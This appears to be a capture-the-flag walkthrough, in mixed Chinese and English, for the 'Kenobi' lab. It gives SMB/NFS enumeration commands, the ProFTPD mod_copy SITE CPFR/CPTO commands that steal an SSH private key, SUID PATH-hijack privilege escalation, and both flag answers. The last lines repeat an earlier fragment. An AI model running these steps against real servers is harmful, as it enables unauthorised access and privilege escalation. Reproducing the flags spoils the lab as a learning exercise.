Kenobi ⭐️SMB
文章目录
task1 Deploy the vulnerable machine
1.Make sure you’re connected to our network and deploy the machine
2.Scan the machine with nmap, how many ports are open?
7
task2 Enumerating Samba for shares
1.Using the nmap command above, how many shares have been found?
3
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.162.162 使用脚本扫描445端口
2.On most distributions of Linux smbclient is already installed. Lets inspect one of the shares.
smbclient //<ip>/anonymous
Once you’re connected, list the files on the share. What is the file can you see?
log.txt
3.Open the file on the share. There is a few interesting things found.
- Information generated for Kenobi when generating an SSH key for the user
- Information about the ProFTPD server.
What port is FTP running on?
21
4.Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.
In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount MACHINE_IP
What mount can we see?
/var
task3 Gain initial access with ProFtpd ⭐️ProFtpd
1.Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.
What is the version?
1.3.5
2.We can use searchsploit to find exploits for a particular software version.
Searchsploit is basically just a command line search tool for exploit-db.com.
How many exploits are there for the ProFTPd running?
3
3.You should have found an exploit from ProFtpd’s mod_copy module.
The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.
We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
从log.txt文件中得知密钥地址和共享地址
nc连接21端口
nc 10.10.34.242 21
再执行命令,复制密钥文件至共享目录,再下载,使用密钥文件登录kenobi账号
site cpfr /home/kenobi/.ssh/id_rsa
site cpto /home/kenobi/share/id_rsa
4.We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.
5.mkdir /mnt/kenobiNFS
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
What is Kenobi’s user flag (/home/kenobi/user.txt)?
d0b0f3f53b6caa532a83915e19224899
task4 Privilege Escalation with Path Variable Manipulation ⭐️环境变量提权
1.To search the a system for these type of files run the following: find / -perm -u=s -type f 2>/dev/null
What file looks particularly out of the ordinary?
/usr/bin/menu
2.Run the binary, how many options appear?
3
3.We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary… Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!
提权条件: -rwsr-xr-x menu
文件执行时会在环境变量中查找curl,自建curl文件赋予可执行权限,至于可写目录加入环境变量中替代curl程序以root权限执行即可提权.
export PATH=/tmp:$PATH
将/tmp目录写入环境变量
4.What is the root flag (/root/root.txt)?
177b3cd8562289f37382721c28381f02
oot权限执行即可提权.
export PATH=/tmp:$PATH
将/tmp目录写入环境变量
4.What is the root flag (/root/root.txt)?
177b3cd8562289f37382721c28381f02